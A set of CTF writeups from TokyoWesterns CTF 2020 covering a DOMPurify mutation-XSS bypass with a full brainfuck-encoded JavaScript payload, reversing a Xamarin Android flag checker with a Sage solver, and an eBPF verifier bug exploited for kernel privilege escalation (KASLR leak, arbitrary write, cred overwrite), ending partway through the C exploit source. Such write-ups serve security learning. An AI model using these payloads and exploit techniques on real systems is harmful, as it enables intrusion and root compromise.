TokyoWesterns CTF 6th 2020: selected writeups

This was a great CTF and we hacked some stuff. Here’s a relatively small subset of how.

bfnote

0xbb | 18 solves, 320 points

User input (filtered by [a-zA-Z0-9<>\[\]+-.,=\/\n\ ]) gets put into innerHTML via DOMPurify. Additionally, this input gets interepted by a JS brainfuck interpreter and written to the output variable and a div. The output is either set to innerHTML or innerText decided by a clobberable window.CONFIG variable, but <, > are escaped.

Luckily, DOMPurify released a new version (2.0.17) and added the fixed mXSS Proof-of-Concept (PoC) to their tests.

Exploitation:

  • Use PoC to write an <img> tag with an onerror handler
  • Craft a payload to execute arbitrary JavaScript:
    • Register eval as window.onerror handler: <img onerror=window.onerror=eval src=x>
    • Throw the brainfuck interpreter’s output as an error: <img onerror="throw/a/,a=output src=x>
    • Use a brainfuck text generator to output the payload for eval('Uncaught '+ output)
    • Profit

Final Exploit:

[<h1><a href=//2020.ctf.link>hxp CTF 2020 announced</a></h1><math><mtext><table><mglyph><style><math><img onerror=window.onerror=eval src=x><img onerror=throw/a/,a=output src=x></math><form id=CONFIG><output id=unsafeRender>useless clobber, but why not</output><img src=//2020.ctf.link/ ]----[---->+<]>--.--[->++++++<]>+.++++++++++++.-.+++++.----.---.-------.[->+++<]>-.--[-->+++++<]>--.+++.--------.----[->+++<]>-.-.----[->+++<]>-.[--->+<]>.--------.[------->++<]>.+[->++<]>+.>-[--->+<]>-.[----->+<]>++.[-->+<]>---.[-->+++<]>++.--.++.--.---------.++.-[-->+++<]>-.-[->++<]>-.+[-->+<]>+++.[----->++++<]>.+++++++++++.------------.-[--->+<]>-.--------.--------.+++++++++.++++++.[++>---<]>.--[--->+<]>-.-[--->+<]>----.-------------.----.--[--->+<]>-.+++[->+++<]>.+[--->++<]>+.-[--->+<]>.-------.++++++++.--------.+++++++++.++++++.+[--->+<]>+.-.----[->+++<]>.++++.------.-----[->+++<]>+.++.-[-->+++<]>-.>++++++++++.+[--------->+<]>.+[++>---<]>.[--->++<]>-.-.++++[->+++<]>+.[--->++<]>-----.-[--->++<]>-.++++++++..+++.--.++.--.--.--[--->+<]>-.-[--->+<]>--.+++[->+++<]>+.-[->+++<]>-.--[-->+++++<]>--.---.+++++.---.[->+++<]>--.-[--->+<]>--.[--->+<]>.--------.[----->++<]>-.+[--->++<]>+++.>-[--->+<]>-.[----->+<]>++.[->+++++<]>+.+[-->+<]>++.--.++.--.[->++<]>-.++.+++++++++++++..+.++++++.-------.-----------.++.-.[++++>-----<]>.-[--->++<]>-.++++.+[--->+<]>.+++++++++++.------------.-[--->+<]>-.--------.--------.+++++++++.++++++.[++>---<]>.--[--->+<]>-.++++++++++++..----.--.----.++++[->+++<]>.>++++++++++.+[--->++++<]>.+++++++++++.------------.-[--->+<]>-.--------.--------.+++++++++.++++++.[++>---<]>.+++[->++<]>.+++++++++++++.-----------.+[--->+<]>++.-----[++>---<]>.++[->++<]>+.-[++>-----<]>..-----------.+++++++++.----------.-[->+++<]>-.--[->+++<]>+.-[--->+<]>+++.-[-->+++<]>-.>++++++++++.+[--------->+<]>.++++[->+++<]>.[--->+<]>---.>-[--->+<]>-.[---->+++++<]>.++++.--------.++++++++++.++++++.-.+[--->+<]>+.+[--->+<]>+++.-[--->+<]>--.-------.-----------.-[--->+<]>--.-----------.++++++.-.++[++>---<]>.+.[->+++<]>.>++++++++++.>------[-->+++<]>.+[->+++<]>+.+++++.----------.+++++++++++.++++++++.---[++>---<]>.--[-->+++++<]>--.+++.------------.--.--[--->+<]>-.-----------.++++++.-.[----->++<]>++.[--->++<]>--.-------------.+++++++++++.----.-----------.++.++.--[->+++<]>-.-.----[->+++<]>-.++++++++++++..----.+++.+[-->+<]>.-----------..+++.--.++.--.--.--[--->+<]>-.-[--->+<]>--.+++[->+++<]>+.-[->+++<]>-.--[-->+++++<]>--.---.+++++.---.------[->+++<]>.+[--->++++<]>-.+++[-->+++<]>.++++++++++++..---.[--->+<]>+++.++.-[-->+++<]>-.>++++++++++.>--[-->+++<]>.+[--->+<]>++.+++++.-...-------.-[-->+++<]>-.

Flag: TWCTF{reCAPTCHA_Oriented_Programming_with_XSS!}


Tamarin

kirschju/yyyyyyy | rev, 42 solves, 224 points

Reversing

We’re given an APK tamarin.apk, which, after unzipping, yields a lot of native libraries named *-Xamarin* or libmono*. From this we guessed that the app had been developed using Xamarin.Android. Without ever having dealt with such a setup we hypothesized that this was just an implementation of the .NET framework for Android. Therefore, we figured, the compiled .NET code must be present somewhere within the app. Looking at the two biggest *.so files libmonosgen-2.0.so libmonodroid_bundle_app.so we saw that the later made use of zlib’s inflate functionality quite bit. Therefore, we simply used binwalk -e libmonodroid_bundle_app.so to extract and decompress the deflate’d objects:

➜  _libmonodroid_bundle_app.so.extracted ls
101860  14D180  151C20  15C140  15EE40  16BD00  170700  185080  19F220  E300
11FB80  14E720  152520  15C980  15F660  16C500  170F20  1858A0  19FA00
149240  14FD00  152DC0  15D280  160360  16EEC0  171A20  1861C0  1BA20
14C180  150520  1535E0  15DB40  160B60  16F6E0  183EE0  1869E0  24E0
14C980  150D20  153DE0  15E360  163860  16FEE0  1846E0  189360  57340

The hackertool strings again proved incredibly valuable (knowing that we’re dealing with Microsoft stuff suggests the use of the -el switch, which decodes strings using the utf-16le encoding):

for f in $(find .); do echo ${f}; strings -el ${f} | grep flag; done 
.
strings: Warning: '.' is a directory
./1BA20
./189360
./16FEE0
./1535E0
./149240
./14D180
./24E0
The flag is TWCTF{
./15C980
./16C500
./14C180
./19F220
./15C140
./15E360
./15D280
./14FD00
./1858A0
./170F20
./163860
./1861C0
./150D20
./14E720
./1846E0
./E300
./1869E0
./19FA00
./152DC0
./15EE40
./152520
./160B60
./170700
./171A20
flagActionItems.()V
flagActionItems
./14C980
./151C20
./101860
./150520
./16BD00
./153DE0
./160360
./16EEC0
./185080
./11FB80
flag
./16F6E0
./57340
Value of flags is invalid.
Must specify binding flags describing the invoke operation required (BindingFlags.InvokeMethod CreateInstance GetField SetField GetProperty SetProperty).
Only one of the following binding flags can be set: BindingFlags.SetProperty, BindingFlags.PutDispProperty,  BindingFlags.PutRefDispProperty.
flag
A type '{0}' that is defined in a partially trusted assembly cannot be type forwarded from an assembly with a different Public Key Token or without a public key token. To fix this, please either turn on unsafeTypeForwarding flag in the configuration file or remove the TypeForwardedFrom attribute.
./183EE0
./15DB40
./15F660

Quite clearly 24E0 is of interest. Using another good friend (file) confirmed the feeling:

_libmonodroid_bundle_app.so.extracted file 24E0 
24E0: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

Throwing this file into dnSpy on a Windows machine yields the core flag checking mechanic.

Analyzing the code

namespace Tamarin
{
	// Token: 0x02000002 RID: 2
	[Activity(Label = "@string/app_name", Theme = "@style/AppTheme", MainLauncher = true)]
	public class MainActivity : AppCompatActivity
	{
		// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
		protected override void OnCreate(Bundle savedInstanceState)
		{
			base.OnCreate(savedInstanceState);
			Platform.Init(this, savedInstanceState);
			this.SetContentView(2131427356);
			EditText flagText = base.FindViewById<EditText>(2131230795);
			Button button = base.FindViewById<Button>(2131230763);
			string empty = string.Empty;
			button.Click += delegate(object sender, EventArgs e)
			{
				if (Check.Func4(flagText.Text))
				{
					flagText.Text = "The flag is TWCTF{" + flagText.Text + "}";
					return;
				}
				flagText.Text = "Invalid";
			};
		}

		// Token: 0x06000002 RID: 2 RVA: 0x000020B1 File Offset: 0x000002B1
		public override void OnRequestPermissionsResult(int requestCode, string[] permissions, [GeneratedEnum] Permission[] grantResults)
		{
			Platform.OnRequestPermissionsResult(requestCode, permissions, grantResults);
			base.OnRequestPermissionsResult(requestCode, permissions, grantResults);
		}
	}
}

From this, we see that the function Check.Func4() is a typical flag checker, which will return true if it is passed the correct flag (minus TWCTF{}).

Let’s have a look at the checker:

using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;

namespace Core
{
	// Token: 0x02000004 RID: 4
	public static class Check
	{
		// Token: 0x06000007 RID: 7 RVA: 0x00002764 File Offset: 0x00000964
		private static uint Func1(uint x, int n)
		{
			uint num = 1U;
			for (int i = 0; i < n; i++)
			{
				num *= x;
			}
			return num;
		}

		// Token: 0x06000008 RID: 8 RVA: 0x00002784 File Offset: 0x00000984
		private static uint Func2(List<uint> coefficients, uint x, int pos)
		{
			if (pos == -1)
			{
				return 0U;
			}
			uint num = coefficients[pos] * Check.Func1(x, pos);
			return num + Check.Func2(coefficients, x, pos - 1);
		}

		// Token: 0x06000009 RID: 9 RVA: 0x000027B8 File Offset: 0x000009B8
		private static uint Func3()
		{
			byte[] array = new byte[4];
			using (RNGCryptoServiceProvider rngcryptoServiceProvider = new RNGCryptoServiceProvider())
			{
				rngcryptoServiceProvider.GetBytes(array);
			}
			return BitConverter.ToUInt32(array, 0);
		}

		// Token: 0x0600000A RID: 10 RVA: 0x000027FC File Offset: 0x000009FC
		public static bool Func4(string flag)
		{
			ParallelOptions parallelOptions = new ParallelOptions
			{
				MaxDegreeOfParallelism = 4
			};
			byte[] bytes = Encoding.ASCII.GetBytes(flag);
			int length = flag.Length;
			if ((length & 3) != 0)
			{
				Array.Resize<byte>(ref bytes, length + (4 - (length & 3)));
			}
			for (int i = length; i < bytes.Length; i++)
			{
				bytes[i] = 0;
			}
			if (bytes.Length != Check.equations_arr.GetLength(0) * 4)
			{
				return false;
			}
			object lockObj = new object();
			ConcurrentBag<bool> checkResults = new ConcurrentBag<bool>();
			List<List<uint>> list = new List<List<uint>>();
			for (int j = 0; j < Check.equations_arr.GetLength(0); j++)
			{
				List<uint> list2 = new List<uint>();
				list2.Add(BitConverter.ToUInt32(bytes, j * 4));
				for (int k = 0; k < Check.equations_arr.GetLength(1); k++)
				{
					list2.Add(Check.equations_arr[j, k]);
				}
				list.Add(list2);
			}
			Parallel.ForEach<List<uint>>(list, parallelOptions, delegate(List<uint> equation)
			{
				object lockObj = lockObj;
				lock (lockObj)
				{
					uint num = Check.Func3();
					for (int l = 0; l < 10000; l++)
					{
						num = Check.Func2(equation, num, equation.Count - 2);
					}
					checkResults.Add(num == equation[equation.Count - 1]);
				}
			});
			return Enumerable.All<bool>(checkResults.ToArray(), (bool x) => x);
		}

		// Token: 0x04000001 RID: 1
		private static readonly uint[,] equations_arr = new uint[,]
		{
			{ 2921822136U, 1060277104U, 2035740900U, 823622198U, 210968592U, 3474619224U, 3252966626U, 1671622480U, 1174723606U, 3830387194U, 2514889364U, 3125636774U, 896423784U, 4164953836U, 2838119626U, 2523117444U, 1385864710U, 3157438448U, 132542958U, 4108218268U, 314662132U, 432653936U, 1147047258U, 1802950730U, 67411056U, 1207641174U, 1920298940U, 2947533900U, 3468512014U, 3485949926U, 3695085832U, 3903653528U },
			{ 463101660U, 3469888460U, 2006842986U, 144738028U, 630007230U, 3440652086U, 2322916652U, 2227002010U, 1163469256U, 23859328U, 2322597530U, 3716255122U, 2876706098U, 713374856U, 2345958624U, 3496771192U, 1773957550U, 146382778U, 1141367704U, 1061893394U, 994321632U, 3407332344U, 2240786438U, 2218631702U, 2906647610U, 1919308420U, 2136654012U, 164975906U, 2834189362U, 3118478912U, 3258673870U, 3211411825U },
			{ 2558729100U, 1170420958U, 2355877954U, 3593652986U, 2587766164U, 2271696650U, 1560549496U, 132089692U, 2893757564U, 3469624876U, 10109206U, 2948199026U, 4170042296U, 2717317064U, 4210960804U, 93756380U, 2006217436U, 2988057920U, 2251383150U, 226355976U, 579516546U, 3915017586U, 1273838010U, 2852178952U, 4272774672U, 1006507228U, 3595131622U, 1880597220U, 1230996622U, 2542910224U, 917668128U, 1612363977U },
			{ 3637139654U, 2593663532U, 649194106U, 4275630476U, 2730487128U, 905133820U, 2868808700U, 1284610026U, 1051455306U, 272375560U, 1219428572U, 163965224U, 3899483864U, 309833108U, 1862243284U, 1919038730U, 3414916994U, 3134382762U, 2018925234U, 3467081876U, 4045123308U, 4244105094U, 4205568254U, 1793827648U, 257732384U, 2092183712U, 3517540150U, 2641565070U, 2181538960U, 2670634300U, 2070334778U, 1995308868U },
			{ 561434200U, 2730097174U, 1499965472U, 760244614U, 1588114416U, 521516362U, 2963707630U, 1896166800U, 411250470U, 1601999958U, 2973942456U, 3027806424U, 1238337602U, 1380721280U, 122976200U, 788897864U, 3589391734U, 1987301254U, 1085198712U, 3553616586U, 1994354546U, 1684916442U, 2788234788U, 2641884090U, 612801768U, 1801824798U, 2019943314U, 3304068906U, 849354132U, 44941780U, 3473262708U, 1444837808U },
			{ 921974086U, 404262832U, 1353817916U, 764855648U, 2290476820U, 2023815980U, 669786172U, 791841140U, 526348842U, 2979022342U, 3656325786U, 1276970440U, 2424614726U, 1190814714U, 2804417116U, 3654263826U, 3068580996U, 1908493640U, 3101330462U, 792198672U, 1772484794U, 4050408722U, 611660842U, 1610808360U, 431629552U, 2319897718U, 3255085210U, 1426503472U, 1630566802U, 4241881448U, 1606014350U, 636517450U },
			{ 2906103140U, 1116553354U, 2279536366U, 3011561210U, 2641603848U, 1646150780U, 192124694U, 611421916U, 3416039786U, 4208848404U, 474397384U, 1491088256U, 3177553844U, 2042765300U, 1653674858U, 1365840538U, 1595225706U, 2705938552U, 3180386458U, 1723055560U, 2280421090U, 1241156010U, 3807390206U, 2595800854U, 2890507242U, 4068903400U, 3923234634U, 2613933834U, 3927909200U, 2149793556U, 3589302752U, 802516900U },
			{ 171242408U, 1411016272U, 2890085382U, 624162464U, 3117870816U, 3388454296U, 3869111620U, 948964384U, 1670102044U, 3432346180U, 1670460686U, 3674313702U, 4108083090U, 915550832U, 4249135230U, 411447682U, 2915987712U, 3865207952U, 4017666788U, 275767786U, 2506858524U, 3488718446U, 1995975410U, 566166116U, 1590333384U, 329205954U, 3913164274U, 620615436U, 1464604756U, 269837028U, 963851056U, 2483789524U },
			{ 4043184956U, 3569779124U, 3817645374U, 4281618348U, 4144074366U, 3776223584U, 2260112022U, 2417238210U, 4004384546U, 1196429850U, 1429697170U, 3075499898U, 2507660230U, 1342925724U, 3951341456U, 229184726U, 2762396986U, 1612961426U, 986238002U, 1228690306U, 3948701236U, 1378190546U, 3106898794U, 1894874158U, 1488049036U, 3718233910U, 1078939754U, 2355898312U, 2030934192U, 2879370894U, 3017715248U, 1647621107U },
			{ 3849716376U, 3412391848U, 420800182U, 156925722U, 3602232204U, 2645326622U, 3864083570U, 1279782822U, 878821008U, 1906288878U, 1396282244U, 1641728726U, 2295751090U, 290937256U, 1958396986U, 2115100470U, 3706945590U, 2885002942U, 1935777480U, 1483762940U, 3589264430U, 3791465274U, 2553819596U, 2050180502U, 1381704584U, 4640270U, 628970046U, 774725214U, 2575508070U, 1330692832U, 1250987676U, 3756982724U },
			{ 1460953346U, 1175847424U, 3477700838U, 3783709768U, 1064663570U, 3559971784U, 3802954664U, 2431960456U, 2198986400U, 859802318U, 3783810034U, 1110187920U, 4244034440U, 1796543058U, 902449590U, 160031782U, 3639253664U, 4255746326U, 3339514496U, 218988706U, 4085181614U, 2342973726U, 1391523108U, 1120970708U, 2639842372U, 156321138U, 1587974922U, 3686627774U, 1648124740U, 2095688044U, 293533614U, 3056924137U },
			{ 1034259104U, 4077045412U, 789979418U, 961028604U, 2185949320U, 3457364068U, 3532291848U, 2206594748U, 3072062072U, 1796530288U, 1402389280U, 3478769990U, 196567236U, 3940435298U, 2237679842U, 668941406U, 170819894U, 1102049112U, 131349762U, 2512464482U, 4159048294U, 2186098090U, 123947608U, 1742064290U, 1711289746U, 1449132362U, 58078952U, 2976574968U, 1774398264U, 1532589156U, 4089484268U, 4041979478U },
			{ 3681899832U, 4208608358U, 1951338724U, 3772673566U, 3160075610U, 1422174080U, 2431526454U, 529884656U, 2722748162U, 236192616U, 2684139926U, 697549902U, 3546454434U, 1921398338U, 1310272304U, 1691292498U, 4134700116U, 720619430U, 2592536546U, 2188997288U, 2461521148U, 455077540U, 1421274126U, 1052585740U, 2383754190U, 1567602170U, 3773864138U, 4036579298U, 2416620860U, 1931099884U, 2051263696U, 310763286U },
			{ 1461705722U, 968835462U, 2563821358U, 576185928U, 1613137824U, 940353300U, 652295412U, 1135005196U, 3607866196U, 3307698550U, 3916080186U, 4052934590U, 3991167852U, 3799175976U, 3393348946U, 950814766U, 2174463160U, 2422320256U, 959545514U, 2820210140U, 4284041840U, 3082466322U, 1257510060U, 2676710840U, 127465314U, 3887977956U, 3218198116U, 957094088U, 1409365960U, 2217798938U, 277108032U, 2579736592U },
			{ 3776055232U, 823459706U, 1913270776U, 1721511850U, 633354432U, 3901765934U, 2089017122U, 1103648570U, 3791238880U, 1686042442U, 1567720048U, 2924815412U, 1695861754U, 3641036796U, 1208391908U, 1593134050U, 1674288590U, 2322785248U, 2472109738U, 3572933674U, 3828029068U, 1641647380U, 4116180236U, 3884220004U, 3146594508U, 3587030908U, 3451856524U, 2965945264U, 162291656U, 2061732942U, 1551591510U, 4014200221U },
			{ 3406794856U, 3181753846U, 2984888850U, 1748566984U, 1311737108U, 3415409722U, 2398926736U, 2006269026U, 3117725174U, 2901254050U, 2733703362U, 1595001962U, 106879068U, 3933136528U, 245096038U, 666024082U, 134803296U, 1657783988U, 3429228290U, 2120419114U, 2879013028U, 9653606U, 305704628U, 3793128986U, 369835124U, 2274924880U, 4233339440U, 2224753480U, 2427854922U, 1808326540U, 1833703938U, 2391461119U },
			{ 1827597388U, 454565514U, 1282880792U, 561174442U, 3610484436U, 2327669348U, 765794442U, 3705161518U, 1715916192U, 292859360U, 183730846U, 3298097994U, 3535037218U, 2904849282U, 348832662U, 1856773750U, 3618335118U, 3017093112U, 3354956190U, 3208811970U, 897522204U, 2835584374U, 3097985334U, 2108903166U, 3230714490U, 2597789348U, 1597521406U, 1663858876U, 94923994U, 883872856U, 3230397040U, 3420763893U },
			{ 4065160224U, 2129787468U, 3456903512U, 2860656238U, 2663588170U, 3224900102U, 2827778318U, 2685874320U, 2005737334U, 586304716U, 472376412U, 2938324550U, 3459137716U, 3422216092U, 3082124658U, 1173945064U, 842495374U, 2564495050U, 357433170U, 2050324102U, 1138367532U, 854845936U, 3054001576U, 2465772674U, 2305389082U, 3669610606U, 3527889292U, 3817664802U, 4238531160U, 1556372762U, 777986002U, 1126454981U },
			{ 764733144U, 3965849612U, 1668893328U, 2104626056U, 1653642872U, 2883395356U, 3015268318U, 2322404760U, 1185726976U, 1607036694U, 3064704530U, 3639372768U, 1252489394U, 3950622630U, 3889240956U, 233990458U, 2393973872U, 3609439896U, 2108036182U, 152726882U, 3730671578U, 3038534682U, 3388044150U, 3128791454U, 2499312664U, 3396894570U, 2872225186U, 3048419004U, 2864782986U, 3169897264U, 2890258816U, 753842003U },
			{ 2403595118U, 2093259638U, 2763900156U, 3772789760U, 3282639530U, 2884294140U, 3879894514U, 2512089226U, 318451120U, 2464691316U, 2179668204U, 795049786U, 326585310U, 1313213364U, 3437852224U, 4055872768U, 1224395344U, 1911910472U, 983774674U, 3804144712U, 3208317764U, 1534290234U, 3243577720U, 617743358U, 378252266U, 3612369740U, 1924240610U, 961715850U, 2058485164U, 1460892148U, 2613095898U, 73199927U },
			{ 3093631524U, 2704600210U, 3519611266U, 5414320U, 3358912704U, 2462642760U, 3764896542U, 1253645320U, 4034052234U, 3137650284U, 4083324920U, 2667059126U, 436316958U, 497182460U, 404768030U, 1122443700U, 432434942U, 443290780U, 3487257114U, 2699955512U, 4250049274U, 3991832458U, 1037538700U, 3125332984U, 1533312690U, 1452437348U, 1283257518U, 3946567854U, 716640500U, 2417637998U, 3063327834U, 82885668U },
			{ 1985108U, 1694522756U, 4205785758U, 333118606U, 2944637686U, 2196892858U, 4092971632U, 83374602U, 4049383084U, 2980843496U, 1801648602U, 2639009750U, 1944350566U, 3046229260U, 2662687100U, 2423732014U, 4179240348U, 1035280058U, 1015236846U, 3488976898U, 1530833166U, 3723596058U, 4125718292U, 1095267878U, 3635353922U, 2932904358U, 2764606674U, 45921060U, 3107074868U, 4198045636U, 1923836480U, 366302822U }
		};
	}
}

None of this is very hard to understand, but here’s the TL;DR:

  • Func1(x,n) is just $x^n$.
  • Func2(C,x,n) recursively computes the polynomial expression $\sum_{i=0}^n C_i x^i$.
  • Func3() simply returns a random value.
  • Func4(flag) is the most complicated function. It iterates over 32-bit chunks $z$ of the flag and lists $C$ of 32 constants each in parallel:
    • Define the polynomial $f(x) = z + \sum_{i=0}^{30} C_i x^{i+1}$.
    • Let $r_0=\mathtt{Func3()}$, i.e., a random integer.
    • Compute $r_{10000}$ defined by $r_{i+1}=f(r_i)$.
    • Verify $r_{10000}=C_{31}$.

Math

In a nutshell, the problem is to determine $z$ such that $f(x)=z+x\cdot h(x)$ satisfies the equation \[ f(f(…f(f(\mathtt{random()}))…))=\mathtt{target} \,\text, \] where everything except $z$ is known.

Generally, it is unclear if this problem even makes sense, since it looks like the random input should influence the output. However, in this case, we observe that all coefficients $C_0…C_{30}$ of $h$ are in fact even, hence $f$ is of the form $f(x)=z+2x\cdot g(x)$, where $g(x)=h(x)/2$ is known. We will see shortly that this makes the problem well-defined.

To see what happens when we repeatedly plug $f$ into itself, write $f_0=x$ and $f_{i+1}=f(f_i)$; Thus $f_{i+1}=z+2f_ig(f_i)$. We first show why the random choice in the checked equation cancels out:

Claim 1. For all $k$, the polynomial $f_k\bmod 2^k$ is a constant.
Proof. Induction on $k$. Clearly $f_0\bmod 2^0 = x\bmod 1 = 0$. For the inductive step, observe that \[ f_{k+1} = z + 2f_ig(f_i) \equiv z + 2\big(\underbrace{f_ig(f_i)\bmod 2^k}_{\llap{\text{constant by}}\rlap{\text{ induction}}}\big) = z + 2\cdot\mathrm{const} \pmod{2^{k+1}} \,\text.\qquad □ \]

Next, we’ll see that applying $f$ more times will only influence the higher bits of the result — bits we do not need, as everything is modulo $2^{32}$:

Claim 2. For all $k$, the sequence $(f_i\bmod 2^k)_{i=0,1,…}$ stabilizes after $k$ elements.
Proof. It suffices to prove that $f_{k+1}\equiv f_k\pmod{2^k}$. This in turn can again be done by induction on $k$: The base case $k=0$ is trivial as anything is equivalent modulo $1$. The inductive step: \[ f_{k+1} = z + 2f_kg(f_k) \equiv z + 2\big(f_k g(f_k)\bmod {2^{k-1}}\big)
\underset{\text{(IH)}}{=} z+2\big(f_{k-1}g(f_{k-1})\bmod {2^{k-1}}\big) \equiv z+2\big(f_{k-1}g(f_{k-1})\big) = f_k \pmod{2^k} \,\text.\qquad □ \]

Finally, taking both of these facts together, we have no other choice than to conclude that \[ f(f_{10000}(x))\equiv f_{10000}(x)\pmod{2^{32}} \,\text. \] Therefore, $t:=\mathtt{target}=f_{10000}(\mathtt{random()})$ is a fixed point of $f$, i.e., \[ t=f(t)=z+2tg(t) \,\text. \] Thus, remembering that we are given $t$ and $h(x)=2g(x)$, we can easily recover $z$ from this equation as $z=t-th(t)$.

Sage implementation:

#!/usr/bin/env sage
import json, struct

R.<x> = Zmod(2**32)[]

eqns = json.loads(open('equations.json').read())

flag = b''
for eqn in eqns:
    h = sum(c*x**i for i,c in enumerate(eqn[:-1]))
    y = eqn[-1]    # fixed point
    c = (x-x*h)(y)
    flag += struct.pack('<L',int(c))
flag = b'TWCTF{' + flag + b'}'

print(flag)
print(f'--> {flag.decode()}')

# flag = "TWCTF{Xm4r1n_15_4bl3_70_6en3r4t3_N471v3_C0d3_w17h_VS_3n73rpr153_bu7_17_c0n741n5_D07_N3t_B1n4ry}"

Obvious Q: Did we really prove these theorems during the CTF?
A: Of course not (lol), we just yolo’d it by generating our own $f$ and looking at $(f_i(\mathtt{random()}))_{i=0,1,…}$.


Extended extended Berkeley Packet Filters

hlt | pwn, 8 solves, 398 points

The goal of this challenge is to escalate privileges on a custom stripped-down Linux with a kernel patch that introduces a new eBPF opcode:

The BPF_ALSH opcode closely resembles the BPF_ARSH arithmetic right-shift in function and implementation, except that it performs a left shift instead of a right shift. Unfortunately, there is a critical bug in the opcode’s implementation in the eBPF verifier (that tracks value ranges in order to avoid e.g. out-of-bounds reads), which allows us to construct a value that is different at runtime from what the verifier expects it to have at load-time.

Once we have obtained such a value, we can simply follow the excellent writeup for CVE-2020-8835, another very similar (but real) bug in the eBPF verifier.

There are four main parts to the exploit:

1. Confusing the verifier

When we apply the new opcode (in 64-bit mode, 32-bit mode is “not implemented”) to this value, here is how the bounds are updated:

dst_reg->smin_value <<= umin_val;
dst_reg->smax_value <<= umin_val;

dst_reg->var_off = tnum_alshift(dst_reg->var_off, umin_val, insn_bitness);

dst_reg->umin_value = 0;
dst_reg->umax_value = U64_MAX;

(var_off keeps track of which bits are known to be 0 or 1, for more details read the introduction to the CVE writeup linked above)

The unsigned bounds that are completely cleared are then updated from the signed bounds.

In order to get here in the first place, the verifier needs to know the shift value for sure (otherwise it just clobbers the register, c.f. here), so there is no weird trickery with having umin_value different from the actual shift size.

Consider a value in the range [-1, 1] (such a bounded value can easily be obtained by passing an unconstrained input value through BPF’s signed conditional jumps). In the verifier, this is represented by smin_value = -1 and smax_value = 1.

When we left-shift this value by 63 bits, both smin_value and smax_value will only have their highest bit set - given smin_value = smax_value = S64_MIN, the verifier will assume the value is fixed to S64_MIN and proceed accordingly. But of course there is another possible input value: If the initial value is 0, then left-shifting still ends up with a value of 0 - a possibility the verifier entirely ignores.

Because it is more useful to have things the other way around, we right-shift the result back by 63 bits (the value is 0, but the verifier thinks it is 1), and subtract it from 1. Now we can create arbitrary values that the verifier thinks are zero by simply multiplying.

From here the exploit resembles the CVE writeup very closely.

2. Out-of-bounds reads

Using this crafted value, we bypass the runtime ALU sanitization very much in the same way the CVE does it: we add 0x800 to the start of our map element and then subtract a “fake” 0x400 (the verifier thinks this is 0) twice to get back to the start. All these operations except the initial addition are done using crafted values because we need to keep the “speculative” branches the verifier tracks in case the runtime validation fails in mind, where the arithmetic has no effect.

Then, we go back an additional 0xd0 bytes (a value that is easily determined by experimentation) in order to find the pointer to the map operations (here, the array_map_ops object). We read that pointer to leak KASLR state, and set up an unlimited OOB read by overwriting the map’s btf member (in this build, at offset 0x38). The BPF_OBJ_GET_INFO_BY_FD command allows us to read information from that pointer (it gives us btf->btf_id, which is at offset 0x58 from wherever btf points), so we can read up to four bytes at a time.

3. Walking the kernel data structures

Kernel data structures differ wildly between builds, but with a little careful experimentation (and injecting a custom kernel module to bypass restrictions on leaking kernel pointers) we obtain the offset of the init_task and the required data members therein (this is different from the CVE example because I was too lazy to write generic .ksymtab parsing code, or to walk the init_pid_ns tree - instead, since we know we are not running in a namespace, we just follow the task list from init_task until we find our own PID).

There, as in the CVE exploit, we find the files_struct, extract the private_data associated with the file for the file descriptor of a second map (we want to keep the first one we used to leak data untouched for communications between eBPF and the exploit), and obtain a pointer to that map’s data.

From there, replace the target map’s map_ops with a custom copy in which map_push_elem is replaced with map_get_next_key and adjust some additional members including the map type (for details on why this works, refer to the CVE writeup). This turns the BPF_MAP_UPDATE_ELEM command into an arbitrary 4-byte write primitive.

4. Getting root

Finally, we walk the current task’s cred struct in 4-byte blocks, identify any locations that contain the current user ID (1000) and use the arbitrary write to replace these with zeroes.

After some cleanup, all that is left to do is to setresuid(0, 0, 0) and spawn a shell:

Here is the full exploit code (compile with gcc -static pwn.c):

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <unistd.h>

#include "bpf.h"
#include "bpf_insn.h"

#define BPF_ALSH 0xe0 // fixed in update!

#define BPF_FN_CALL(FN) BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, FN)

#define LOG_SIZE 1u << 20
char log_buf[LOG_SIZE];

#define KERN_MAJOR 5
#define KERN_MINOR 4
#define KERN_PATCH 58

#define MSG "come play hxp CTF 2020 (https://2020.ctf.link)"
#define MSG_LEN (sizeof(MSG) - 1)

#define PARAMS_MAP_OPS_OFFSET 0xd0
#define PARAMS_BTF_OFFSET 0x38
#define PARAMS_BTF_ID_OFFSET 0x58 /* offsetof(struct btf, id) */

#define INIT_PID_NS_LOC 0xffffffffada2de00ul /* Obtained via UKM. */
#define INIT_TASK_LOC 0xffffffffada114c0ul /* Obtained via UKM. */
#define ARRAY_MAP_OPS_LOC 0xffffffffad80dec0ul
#define TASK_STRUCT_NEXT_OFF 0x260 /* Obtained via UKM. */
#define TASK_STRUCT_PID_OFF 0x360 /* Obtained via UKM. */
#define TASK_STRUCT_CRED_OFF 0x4f8 /* Obtained via UKM. Could also be 0x500, but are the same */
#define TASK_STRUCT_FILES_OFF 0x540 /* Obtained via UKM. */
#define FILES_STRUCT_FDARR_OFF 0xa0 /* Obtained via UKM. */
#define FILE_PRIVATE_DATA_OFF 0xc0 /* Obtained via UKM. */

#define BPF_MAP_OPS_COUNT 21
#define BPF_MAP_OPS_PUSH_ELEM 10
#define BPF_MAP_OPS_GET_NEXT_KEY 4

int bpf(int cmd, union bpf_attr *attr, unsigned int size)
{
    return syscall(__NR_bpf, cmd, attr, size);
}

struct comms {
    unsigned long kaslr_leak;
    unsigned long in_zero;
    unsigned long in_read_addr;
    unsigned long do_setup_write;
    unsigned long swap_ops;
    unsigned long swap_map_type;
    unsigned long swap_max_entries;
    unsigned long swap_spinlock_off;
    char padding[0x1000 - 0x40];
};
_Static_assert(sizeof(struct comms) == 0x1000, "Bad comms size");

int main(int argc, char *argv[])
{
    unsigned long log_level;
    unsigned long log_buf_ptr;
    unsigned long log_buf_sz;
    if (argc > 1 && strcmp(argv[1], "--debug") == 0) {
        log_level = 7;
        log_buf_ptr = (unsigned long) log_buf;
        log_buf_sz = LOG_SIZE;
    } else {
        log_level = 0;
        log_buf_ptr = 0;
        log_buf_sz = 0;
    }

    union bpf_attr map_attr = {
